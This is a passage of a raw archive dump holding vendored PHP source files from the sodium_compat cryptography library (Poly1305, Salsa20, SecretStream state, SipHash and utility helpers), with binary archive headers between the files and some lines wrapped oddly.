                self::mul($s3, $h2, 26) +
                self::mul($s2, $h3, 26) +
                self::mul($s1, $h4, 26)
            );

            $d1 = (
                self::mul($h0, $r1, 25) +
                self::mul($h1, $r0, 25) +
                self::mul($s4, $h2, 26) +
                self::mul($s3, $h3, 26) +
                self::mul($s2, $h4, 26)
            );

            $d2 = (
                self::mul($h0, $r2, 25) +
                self::mul($h1, $r1, 25) +
                self::mul($h2, $r0, 25) +
                self::mul($s4, $h3, 26) +
                self::mul($s3, $h4, 26)
            );

            $d3 = (
                self::mul($h0, $r3, 25) +
                self::mul($h1, $r2, 25) +
                self::mul($h2, $r1, 25) +
                self::mul($h3, $r0, 25) +
                self::mul($s4, $h4, 26)
            );

            $d4 = (
                self::mul($h0, $r4, 25) +
                self::mul($h1, $r3, 25) +
                self::mul($h2, $r2, 25) +
                self::mul($h3, $r1, 25) +
                self::mul($h4, $r0, 25)
            );

            /* (partial) h %= p */
            /** @var int $c */
            $c = $d0 >> 26;
            /** @var int $h0 */
            $h0 = $d0 & 0x3ffffff;
            $d1 += $c;

            /** @var int $c */
            $c = $d1 >> 26;
            /** @var int $h1 */
            $h1 = $d1 & 0x3ffffff;
            $d2 += $c;

            /** @var int $c */
            $c = $d2 >> 26;
            /** @var int $h2  */
            $h2 = $d2 & 0x3ffffff;
            $d3 += $c;

            /** @var int $c */
            $c = $d3 >> 26;
            /** @var int $h3 */
            $h3 = $d3 & 0x3ffffff;
            $d4 += $c;

            /** @var int $c */
            $c = $d4 >> 26;
            /** @var int $h4 */
            $h4 = $d4 & 0x3ffffff;
            $h0 += (int) self::mul($c, 5, 3);

            /** @var int $c */
            $c = $h0 >> 26;
            /** @var int $h0 */
            $h0 &= 0x3ffffff;
            $h1 += $c;

            // Chop off the left 32 bytes.
            $message = self::substr(
                $message,
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
            $bytes -= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE;
        }

        $this->h = array(
            (int) ($h0 & 0xffffffff),
            (int) ($h1 & 0xffffffff),
            (int) ($h2 & 0xffffffff),
            (int) ($h3 & 0xffffffff),
            (int) ($h4 & 0xffffffff)
        );
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return string
     * @throws TypeError
     */
    public function finish()
    {
        /* process the remaining block */
        if ($this->leftover) {
            $i = $this->leftover;
            $this->buffer[$i++] = 1;
            for (; $i < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE;
++$i) {
                $this->buffer[$i] = 0;
            }
            $this->final = true;
            $this->blocks(
                self::substr(
                    self::intArrayToString($this->buffer),
                    0,
                    ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
                ),
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
        }

        $h0 = (int) $this->h[0];
        $h1 = (int) $this->h[1];
        $h2 = (int) $this->h[2];
        $h3 = (int) $this->h[3];
        $h4 = (int) $this->h[4];

        /** @var int $c */
        $c = $h1 >> 26;
        /** @var int $h1 */
        $h1 &= 0x3ffffff;
        /** @var int $h2 */
        $h2 += $c;
        /** @var int $c */
        $c = $h2 >> 26;
        /** @var int $h2 */
        $h2 &= 0x3ffffff;
        $h3 += $c;
        /** @var int $c */
        $c = $h3 >> 26;
        $h3 &= 0x3ffffff;
        $h4 += $c;
        /** @var int $c */
        $c = $h4 >> 26;
        $h4 &= 0x3ffffff;
        /** @var int $h0 */
        $h0 += self::mul($c, 5, 3);
        /** @var int $c */
        $c = $h0 >> 26;
        /** @var int $h0 */
        $h0 &= 0x3ffffff;
        /** @var int $h1 */
        $h1 += $c;

        /* compute h + -p */
        /** @var int $g0 */
        $g0 = $h0 + 5;
        /** @var int $c */
        $c = $g0 >> 26;
        /** @var int $g0 */
        $g0 &= 0x3ffffff;

        /** @var int $g1 */
        $g1 = $h1 + $c;
        /** @var int $c */
        $c = $g1 >> 26;
        $g1 &= 0x3ffffff;

        /** @var int $g2 */
        $g2 = $h2 + $c;
        /** @var int $c */
        $c = $g2 >> 26;
        /** @var int $g2 */
        $g2 &= 0x3ffffff;

        /** @var int $g3 */
        $g3 = $h3 + $c;
        /** @var int $c */
        $c = $g3 >> 26;
        /** @var int $g3 */
        $g3 &= 0x3ffffff;

        /** @var int $g4 */
        $g4 = ($h4 + $c - (1 << 26)) & 0xffffffff;

        /* select h if h < p, or h + -p if h >= p */
        /** @var int $mask */
        $mask = ($g4 >> 31) - 1;

        $g0 &= $mask;
        $g1 &= $mask;
        $g2 &= $mask;
        $g3 &= $mask;
        $g4 &= $mask;

        /** @var int $mask */
        $mask = ~$mask & 0xffffffff;
        /** @var int $h0 */
        $h0 = ($h0 & $mask) | $g0;
        /** @var int $h1 */
        $h1 = ($h1 & $mask) | $g1;
        /** @var int $h2 */
        $h2 = ($h2 & $mask) | $g2;
        /** @var int $h3 */
        $h3 = ($h3 & $mask) | $g3;
        /** @var int $h4 */
        $h4 = ($h4 & $mask) | $g4;

        /* h = h % (2^128) */
        /** @var int $h0 */
        $h0 = (($h0) | ($h1 << 26)) & 0xffffffff;
        /** @var int $h1 */
        $h1 = (($h1 >>  6) | ($h2 << 20)) & 0xffffffff;
        /** @var int $h2 */
        $h2 = (($h2 >> 12) | ($h3 << 14)) & 0xffffffff;
        /** @var int $h3 */
        $h3 = (($h3 >> 18) | ($h4 <<  8)) & 0xffffffff;

        /* mac = (h + pad) % (2^128) */
        $f = (int) ($h0 + $this->pad[0]);
        $h0 = (int) $f;
        $f = (int) ($h1 + $this->pad[1] + ($f >> 32));
        $h1 = (int) $f;
        $f = (int) ($h2 + $this->pad[2] + ($f >> 32));
        $h2 = (int) $f;
        $f = (int) ($h3 + $this->pad[3] + ($f >> 32));
        $h3 = (int) $f;

        return self::store32_le($h0 & 0xffffffff) .
            self::store32_le($h1 & 0xffffffff) .
            self::store32_le($h2 & 0xffffffff) .
            self::store32_le($h3 & 0xffffffff);
    }
}
PK	�[�Ӂ�&&Lchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Poly1305.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_Poly1305', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Poly1305
 */
abstract class ParagonIE_Sodium_Core_Poly1305 extends
ParagonIE_Sodium_Core_Util
{
    const BLOCK_SIZE = 16;

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth($m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            self::substr($key, 0, 32)
        );
        return $state
            ->update($m)
            ->finish();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $mac
     * @param string $m
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth_verify($mac, $m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            self::substr($key, 0, 32)
        );
        $calc = $state
            ->update($m)
            ->finish();
        return self::verify_16($calc, $mac);
    }
}
PK	�[�0��) )
Kchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Salsa20.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_Salsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Salsa20
 */
abstract class ParagonIE_Sodium_Core_Salsa20 extends
ParagonIE_Sodium_Core_Util
{
    const ROUNDS = 20;

    /**
     * Calculate an salsa20 hash of a single block
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function core_salsa20($in, $k, $c = null)
    {
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes
long');
        }
        if ($c === null) {
            $j0  = $x0  = 0x61707865;
            $j5  = $x5  = 0x3320646e;
            $j10 = $x10 = 0x79622d32;
            $j15 = $x15 = 0x6b206574;
        } else {
            $j0  = $x0  = self::load_4(self::substr($c, 0, 4));
            $j5  = $x5  = self::load_4(self::substr($c, 4, 4));
            $j10 = $x10 = self::load_4(self::substr($c, 8, 4));
            $j15 = $x15 = self::load_4(self::substr($c, 12, 4));
        }
        $j1  = $x1  = self::load_4(self::substr($k, 0, 4));
        $j2  = $x2  = self::load_4(self::substr($k, 4, 4));
        $j3  = $x3  = self::load_4(self::substr($k, 8, 4));
        $j4  = $x4  = self::load_4(self::substr($k, 12, 4));
        $j6  = $x6  = self::load_4(self::substr($in, 0, 4));
        $j7  = $x7  = self::load_4(self::substr($in, 4, 4));
        $j8  = $x8  = self::load_4(self::substr($in, 8, 4));
        $j9  = $x9  = self::load_4(self::substr($in, 12, 4));
        $j11 = $x11 = self::load_4(self::substr($k, 16, 4));
        $j12 = $x12 = self::load_4(self::substr($k, 20, 4));
        $j13 = $x13 = self::load_4(self::substr($k, 24, 4));
        $j14 = $x14 = self::load_4(self::substr($k, 28, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4 ^= self::rotate($x0 + $x12, 7);
            $x8 ^= self::rotate($x4 + $x0, 9);
            $x12 ^= self::rotate($x8 + $x4, 13);
            $x0 ^= self::rotate($x12 + $x8, 18);

            $x9 ^= self::rotate($x5 + $x1, 7);
            $x13 ^= self::rotate($x9 + $x5, 9);
            $x1 ^= self::rotate($x13 + $x9, 13);
            $x5 ^= self::rotate($x1 + $x13, 18);

            $x14 ^= self::rotate($x10 + $x6, 7);
            $x2 ^= self::rotate($x14 + $x10, 9);
            $x6 ^= self::rotate($x2 + $x14, 13);
            $x10 ^= self::rotate($x6 + $x2, 18);

            $x3 ^= self::rotate($x15 + $x11, 7);
            $x7 ^= self::rotate($x3 + $x15, 9);
            $x11 ^= self::rotate($x7 + $x3, 13);
            $x15 ^= self::rotate($x11 + $x7, 18);

            $x1 ^= self::rotate($x0 + $x3, 7);
            $x2 ^= self::rotate($x1 + $x0, 9);
            $x3 ^= self::rotate($x2 + $x1, 13);
            $x0 ^= self::rotate($x3 + $x2, 18);

            $x6 ^= self::rotate($x5 + $x4, 7);
            $x7 ^= self::rotate($x6 + $x5, 9);
            $x4 ^= self::rotate($x7 + $x6, 13);
            $x5 ^= self::rotate($x4 + $x7, 18);

            $x11 ^= self::rotate($x10 + $x9, 7);
            $x8 ^= self::rotate($x11 + $x10, 9);
            $x9 ^= self::rotate($x8 + $x11, 13);
            $x10 ^= self::rotate($x9 + $x8, 18);

            $x12 ^= self::rotate($x15 + $x14, 7);
            $x13 ^= self::rotate($x12 + $x15, 9);
            $x14 ^= self::rotate($x13 + $x12, 13);
            $x15 ^= self::rotate($x14 + $x13, 18);
        }

        $x0  += $j0;
        $x1  += $j1;
        $x2  += $j2;
        $x3  += $j3;
        $x4  += $j4;
        $x5  += $j5;
        $x6  += $j6;
        $x7  += $j7;
        $x8  += $j8;
        $x9  += $j9;
        $x10 += $j10;
        $x11 += $j11;
        $x12 += $j12;
        $x13 += $j13;
        $x14 += $j14;
        $x15 += $j15;

        return self::store32_le($x0) .
            self::store32_le($x1) .
            self::store32_le($x2) .
            self::store32_le($x3) .
            self::store32_le($x4) .
            self::store32_le($x5) .
            self::store32_le($x6) .
            self::store32_le($x7) .
            self::store32_le($x8) .
            self::store32_le($x9) .
            self::store32_le($x10) .
            self::store32_le($x11) .
            self::store32_le($x12) .
            self::store32_le($x13) .
            self::store32_le($x14) .
            self::store32_le($x15);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20($len, $nonce, $key)
    {
        if (self::strlen($key) !== 32) {
            throw new RangeException('Key must be 32 bytes
long');
        }
        $kcopy = '' . $key;
        $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8);
        $c = '';
        while ($len >= 64) {
            $c .= self::core_salsa20($in, $kcopy, null);
            $u = 1;
            // Internal counter.
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }
            $len -= 64;
        }
        if ($len > 0) {
            $c .= self::substr(
                self::core_salsa20($in, $kcopy, null),
                0,
                $len
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $kcopy = null;
        }
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $n
     * @param int $ic
     * @param string $k
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor_ic($m, $n, $ic, $k)
    {
        $mlen = self::strlen($m);
        if ($mlen < 1) {
            return '';
        }
        $kcopy = self::substr($k, 0, 32);
        $in = self::substr($n, 0, 8);
        // Initialize the counter
        $in .= ParagonIE_Sodium_Core_Util::store64_le($ic);

        $c = '';
        while ($mlen >= 64) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, 64),
                self::substr($block, 0, 64)
            );
            $u = 1;
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }

            $mlen -= 64;
            $m = self::substr($m, 64);
        }

        if ($mlen) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, $mlen),
                self::substr($block, 0, $mlen)
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block);
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $block = null;
            $kcopy = null;
        }

        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::salsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $u
     * @param int $c
     * @return int
     */
    public static function rotate($u, $c)
    {
        $u &= 0xffffffff;
        $c %= 32;
        return (int) (0xffffffff & (
                ($u << $c)
                    |
                ($u >> (32 - $c))
            )
        );
    }
}
PK	�[�"((Vchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/SecretStream/State.phpnu�[���<?php

/**
 * Class ParagonIE_Sodium_Core_SecretStream_State
 */
class ParagonIE_Sodium_Core_SecretStream_State
{
    /** @var string $key */
    protected $key;

    /** @var int $counter */
    protected $counter;

    /** @var string $nonce */
    protected $nonce;

    /** @var string $_pad */
    protected $_pad;

    /**
     * ParagonIE_Sodium_Core_SecretStream_State constructor.
     * @param string $key
     * @param string|null $nonce
     */
    public function __construct($key, $nonce = null)
    {
        $this->key = $key;
        $this->counter = 1;
        if (is_null($nonce)) {
            $nonce = str_repeat("\0", 12);
        }
        $this->nonce = str_pad($nonce, 12, "\0",
STR_PAD_RIGHT);;
        $this->_pad = str_repeat("\0", 4);
    }

    /**
     * @return self
     */
    public function counterReset()
    {
        $this->counter = 1;
        $this->_pad = str_repeat("\0", 4);
        return $this;
    }

    /**
     * @return string
     */
    public function getKey()
    {
        return $this->key;
    }

    /**
     * @return string
     */
    public function getCounter()
    {
        return ParagonIE_Sodium_Core_Util::store32_le($this->counter);
    }

    /**
     * @return string
     */
    public function getNonce()
    {
        if (!is_string($this->nonce)) {
            $this->nonce = str_repeat("\0", 12);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($this->nonce) !== 12) {
            $this->nonce = str_pad($this->nonce, 12, "\0",
STR_PAD_RIGHT);
        }
        return $this->nonce;
    }

    /**
     * @return string
     */
    public function getCombinedNonce()
    {
        return $this->getCounter() .
            ParagonIE_Sodium_Core_Util::substr($this->getNonce(), 0, 8);
    }

    /**
     * @return self
     */
    public function incrementCounter()
    {
        ++$this->counter;
        return $this;
    }

    /**
     * @return bool
     */
    public function needsRekey()
    {
        return ($this->counter & 0xffff) === 0;
    }

    /**
     * @param string $newKeyAndNonce
     * @return self
     */
    public function rekey($newKeyAndNonce)
    {
        $this->key = ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce,
0, 32);
        $this->nonce = str_pad(
            ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 32),
            12,
            "\0",
            STR_PAD_RIGHT
        );
        return $this;
    }

    /**
     * @param string $str
     * @return self
     */
    public function xorNonce($str)
    {
        $this->nonce = ParagonIE_Sodium_Core_Util::xorStrings(
            $this->getNonce(),
            str_pad(
                ParagonIE_Sodium_Core_Util::substr($str, 0, 8),
                12,
                "\0",
                STR_PAD_RIGHT
            )
        );
        return $this;
    }

    /**
     * @param string $string
     * @return self
     */
    public static function fromString($string)
    {
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            ParagonIE_Sodium_Core_Util::substr($string, 0, 32)
        );
        $state->counter = ParagonIE_Sodium_Core_Util::load_4(
            ParagonIE_Sodium_Core_Util::substr($string, 32, 4)
        );
        $state->nonce = ParagonIE_Sodium_Core_Util::substr($string, 36,
12);
        $state->_pad = ParagonIE_Sodium_Core_Util::substr($string, 48,
8);
        return $state;
    }

    /**
     * @return string
     */
    public function toString()
    {
        return $this->key .
            $this->getCounter() .
            $this->nonce .
            $this->_pad;
    }
}
PK	�[㿽�I I
Kchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/SipHash.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_SipHash', false)) {
    return;
}

/**
 * Class ParagonIE_SodiumCompat_Core_SipHash
 *
 * Only uses 32-bit arithmetic, while the original SipHash used 64-bit
integers
 */
class ParagonIE_Sodium_Core_SipHash extends ParagonIE_Sodium_Core_Util
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param array<array-key, int> $v
     * @return array<array-key, int>
     *
     */
    public static function sipRound(array $v)
    {
        # v0 += v1;
        list($v[0], $v[1]) = self::add(
            array($v[0], $v[1]),
            array($v[2], $v[3])
        );

        #  v1=ROTL(v1,13);
        list($v[2], $v[3]) = self::rotl_64((int) $v[2], (int) $v[3], 13);

        #  v1 ^= v0;
        $v[2] = (int) $v[2] ^ (int) $v[0];
        $v[3] = (int) $v[3] ^ (int) $v[1];

        #  v0=ROTL(v0,32);
        list($v[0], $v[1]) = self::rotl_64((int) $v[0], (int) $v[1], 32);

        # v2 += v3;
        list($v[4], $v[5]) = self::add(
            array((int) $v[4], (int) $v[5]),
            array((int) $v[6], (int) $v[7])
        );

        # v3=ROTL(v3,16);
        list($v[6], $v[7]) = self::rotl_64((int) $v[6], (int) $v[7], 16);

        #  v3 ^= v2;
        $v[6] = (int) $v[6] ^ (int) $v[4];
        $v[7] = (int) $v[7] ^ (int) $v[5];

        # v0 += v3;
        list($v[0], $v[1]) = self::add(
            array((int) $v[0], (int) $v[1]),
            array((int) $v[6], (int) $v[7])
        );

        # v3=ROTL(v3,21);
        list($v[6], $v[7]) = self::rotl_64((int) $v[6], (int) $v[7], 21);

        # v3 ^= v0;
        $v[6] = (int) $v[6] ^ (int) $v[0];
        $v[7] = (int) $v[7] ^ (int) $v[1];

        # v2 += v1;
        list($v[4], $v[5]) = self::add(
            array((int) $v[4], (int) $v[5]),
            array((int) $v[2], (int) $v[3])
        );

        # v1=ROTL(v1,17);
        list($v[2], $v[3]) = self::rotl_64((int) $v[2], (int) $v[3], 17);

        #  v1 ^= v2;;
        $v[2] = (int) $v[2] ^ (int) $v[4];
        $v[3] = (int) $v[3] ^ (int) $v[5];

        # v2=ROTL(v2,32)
        list($v[4], $v[5]) = self::rotl_64((int) $v[4], (int) $v[5], 32);

        return $v;
    }

    /**
     * Add two 32 bit integers representing a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int[] $a
     * @param int[] $b
     * @return array<int, mixed>
     */
    public static function add(array $a, array $b)
    {
        /** @var int $x1 */
        $x1 = $a[1] + $b[1];
        /** @var int $c */
        $c = $x1 >> 32; // Carry if ($a + $b) > 0xffffffff
        /** @var int $x0 */
        $x0 = $a[0] + $b[0] + $c;
        return array(
            $x0 & 0xffffffff,
            $x1 & 0xffffffff
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $int0
     * @param int $int1
     * @param int $c
     * @return array<int, mixed>
     */
    public static function rotl_64($int0, $int1, $c)
    {
        $int0 &= 0xffffffff;
        $int1 &= 0xffffffff;
        $c &= 63;
        if ($c === 32) {
            return array($int1, $int0);
        }
        if ($c > 31) {
            $tmp = $int1;
            $int1 = $int0;
            $int0 = $tmp;
            $c &= 31;
        }
        if ($c === 0) {
            return array($int0, $int1);
        }
        return array(
            0xffffffff & (
                ($int0 << $c)
                    |
                ($int1 >> (32 - $c))
            ),
            0xffffffff & (
                ($int1 << $c)
                    |
                ($int0 >> (32 - $c))
            ),
        );
    }

    /**
     * Implements Siphash-2-4 using only 32-bit numbers.
     *
     * When we split an int into two, the higher bits go to the lower
index.
     * e.g. 0xDEADBEEFAB10C92D becomes [
     *     0 => 0xDEADBEEF,
     *     1 => 0xAB10C92D
     * ].
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sipHash24($in, $key)
    {
        $inlen = self::strlen($in);

        # /* "somepseudorandomlygeneratedbytes" */
        # u64 v0 = 0x736f6d6570736575ULL;
        # u64 v1 = 0x646f72616e646f6dULL;
        # u64 v2 = 0x6c7967656e657261ULL;
        # u64 v3 = 0x7465646279746573ULL;
        $v = array(
            0x736f6d65, // 0
            0x70736575, // 1
            0x646f7261, // 2
            0x6e646f6d, // 3
            0x6c796765, // 4
            0x6e657261, // 5
            0x74656462, // 6
            0x79746573  // 7
        );
        // v0 => $v[0], $v[1]
        // v1 => $v[2], $v[3]
        // v2 => $v[4], $v[5]
        // v3 => $v[6], $v[7]

        # u64 k0 = LOAD64_LE( k );
        # u64 k1 = LOAD64_LE( k + 8 );
        $k = array(
            self::load_4(self::substr($key, 4, 4)),
            self::load_4(self::substr($key, 0, 4)),
            self::load_4(self::substr($key, 12, 4)),
            self::load_4(self::substr($key, 8, 4))
        );
        // k0 => $k[0], $k[1]
        // k1 => $k[2], $k[3]

        # b = ( ( u64 )inlen ) << 56;
        $b = array(
            $inlen << 24,
            0
        );
        // See docblock for why the 0th index gets the higher bits.

        # v3 ^= k1;
        $v[6] ^= $k[2];
        $v[7] ^= $k[3];
        # v2 ^= k0;
        $v[4] ^= $k[0];
        $v[5] ^= $k[1];
        # v1 ^= k1;
        $v[2] ^= $k[2];
        $v[3] ^= $k[3];
        # v0 ^= k0;
        $v[0] ^= $k[0];
        $v[1] ^= $k[1];

        $left = $inlen;
        # for ( ; in != end; in += 8 )
        while ($left >= 8) {
            # m = LOAD64_LE( in );
            $m = array(
                self::load_4(self::substr($in, 4, 4)),
                self::load_4(self::substr($in, 0, 4))
            );

            # v3 ^= m;
            $v[6] ^= $m[0];
            $v[7] ^= $m[1];

            # SIPROUND;
            # SIPROUND;
            $v = self::sipRound($v);
            $v = self::sipRound($v);

            # v0 ^= m;
            $v[0] ^= $m[0];
            $v[1] ^= $m[1];

            $in = self::substr($in, 8);
            $left -= 8;
        }

        # switch( left )
        #  {
        #     case 7: b |= ( ( u64 )in[ 6] )  << 48;
        #     case 6: b |= ( ( u64 )in[ 5] )  << 40;
        #     case 5: b |= ( ( u64 )in[ 4] )  << 32;
        #     case 4: b |= ( ( u64 )in[ 3] )  << 24;
        #     case 3: b |= ( ( u64 )in[ 2] )  << 16;
        #     case 2: b |= ( ( u64 )in[ 1] )  <<  8;
        #     case 1: b |= ( ( u64 )in[ 0] ); break;
        #     case 0: break;
        # }
        switch ($left) {
            case 7:
                $b[0] |= self::chrToInt($in[6]) << 16;
            case 6:
                $b[0] |= self::chrToInt($in[5]) << 8;
            case 5:
                $b[0] |= self::chrToInt($in[4]);
            case 4:
                $b[1] |= self::chrToInt($in[3]) << 24;
            case 3:
                $b[1] |= self::chrToInt($in[2]) << 16;
            case 2:
                $b[1] |= self::chrToInt($in[1]) << 8;
            case 1:
                $b[1] |= self::chrToInt($in[0]);
            case 0:
                break;
        }
        // See docblock for why the 0th index gets the higher bits.

        # v3 ^= b;
        $v[6] ^= $b[0];
        $v[7] ^= $b[1];

        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # v0 ^= b;
        $v[0] ^= $b[0];
        $v[1] ^= $b[1];

        // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our
implementation
        # v2 ^= 0xff;
        $v[5] ^= 0xff;

        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # b = v0 ^ v1 ^ v2 ^ v3;
        # STORE64_LE( out, b );
        return  self::store32_le($v[1] ^ $v[3] ^ $v[5] ^ $v[7]) .
            self::store32_le($v[0] ^ $v[2] ^ $v[4] ^ $v[6]);
    }
}
PK	�[6�#�k�kHchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Util.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_Util', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Util
 */
abstract class ParagonIE_Sodium_Core_Util
{
    /**
     * @param int $integer
     * @param int $size (16, 32, 64)
     * @return int
     */
    public static function abs($integer, $size = 0)
    {
        /** @var int $realSize */
        $realSize = (PHP_INT_SIZE << 3) - 1;
        if ($size) {
            --$size;
        } else {
            /** @var int $size */
            $size = $realSize;
        }

        $negative = -(($integer >> $size) & 1);
        return (int) (
            ($integer ^ $negative)
                +
            (($negative >> $realSize) & 1)
        );
    }

    /**
     * Convert a binary string into a hexadecimal string without
cache-timing
     * leaks
     *
     * @internal You should not use this directly from another application
     *
     * @param string $binaryString (raw binary)
     * @return string
     * @throws TypeError
     */
    public static function bin2hex($binaryString)
    {
        /* Type checks: */
        if (!is_string($binaryString)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($binaryString) . ' given.');
        }

        $hex = '';
        $len = self::strlen($binaryString);
        for ($i = 0; $i < $len; ++$i) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C', $binaryString[$i]);
            /** @var int $c */
            $c = $chunk[1] & 0xf;
            /** @var int $b */
            $b = $chunk[1] >> 4;
            $hex .= pack(
                'CC',
                (87 + $b + ((($b - 10) >> 8) & ~38)),
                (87 + $c + ((($c - 10) >> 8) & ~38))
            );
        }
        return $hex;
    }

    /**
     * Convert a binary string into a hexadecimal string without
cache-timing
     * leaks, returning uppercase letters (as per RFC 4648)
     *
     * @internal You should not use this directly from another application
     *
     * @param string $bin_string (raw binary)
     * @return string
     * @throws TypeError
     */
    public static function bin2hexUpper($bin_string)
    {
        $hex = '';
        $len = self::strlen($bin_string);
        for ($i = 0; $i < $len; ++$i) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C', $bin_string[$i]);
            /**
             * Lower 16 bits
             *
             * @var int $c
             */
            $c = $chunk[1] & 0xf;

            /**
             * Upper 16 bits
             * @var int $b
             */
            $b = $chunk[1] >> 4;

            /**
             * Use pack() and binary operators to turn the two integers
             * into hexadecimal characters. We don't use chr() here,
because
             * it uses a lookup table internally and we want to avoid
             * cache-timing side-channels.
             */
            $hex .= pack(
                'CC',
                (55 + $b + ((($b - 10) >> 8) & ~6)),
                (55 + $c + ((($c - 10) >> 8) & ~6))
            );
        }
        return $hex;
    }

    /**
     * Cache-timing-safe variant of ord()
     *
     * @internal You should not use this directly from another application
     *
     * @param string $chr
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function chrToInt($chr)
    {
        /* Type checks: */
        if (!is_string($chr)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($chr) . ' given.');
        }
        if (self::strlen($chr) !== 1) {
            throw new SodiumException('chrToInt() expects a string
that is exactly 1 character long');
        }
        /** @var array<int, int> $chunk */
        $chunk = unpack('C', $chr);
        return (int) ($chunk[1]);
    }

    /**
     * Compares two strings.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $left
     * @param string $right
     * @param int $len
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function compare($left, $right, $len = null)
    {
        $leftLen = self::strlen($left);
        $rightLen = self::strlen($right);
        if ($len === null) {
            $len = max($leftLen, $rightLen);
            $left = str_pad($left, $len, "\x00", STR_PAD_RIGHT);
            $right = str_pad($right, $len, "\x00",
STR_PAD_RIGHT);
        }

        $gt = 0;
        $eq = 1;
        $i = $len;
        while ($i !== 0) {
            --$i;
            $gt |= ((self::chrToInt($right[$i]) -
self::chrToInt($left[$i])) >> 8) & $eq;
            $eq &= ((self::chrToInt($right[$i]) ^
self::chrToInt($left[$i])) - 1) >> 8;
        }
        return ($gt + $gt + $eq) - 1;
    }

    /**
     * If a variable does not match a given type, throw a TypeError.
     *
     * @param mixed $mixedVar
     * @param string $type
     * @param int $argumentIndex
     * @throws TypeError
     * @throws SodiumException
     * @return void
     */
    public static function declareScalarType(&$mixedVar = null, $type =
'void', $argumentIndex = 0)
    {
        if (func_num_args() === 0) {
            /* Tautology, by default */
            return;
        }
        if (func_num_args() === 1) {
            throw new TypeError('Declared void, but passed a
variable');
        }
        $realType = strtolower(gettype($mixedVar));
        $type = strtolower($type);
        switch ($type) {
            case 'null':
                if ($mixedVar !== null) {
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be null, ' . $realType . '
given.');
                }
                break;
            case 'integer':
            case 'int':
                $allow = array('int', 'integer');
                if (!in_array($type, $allow)) {
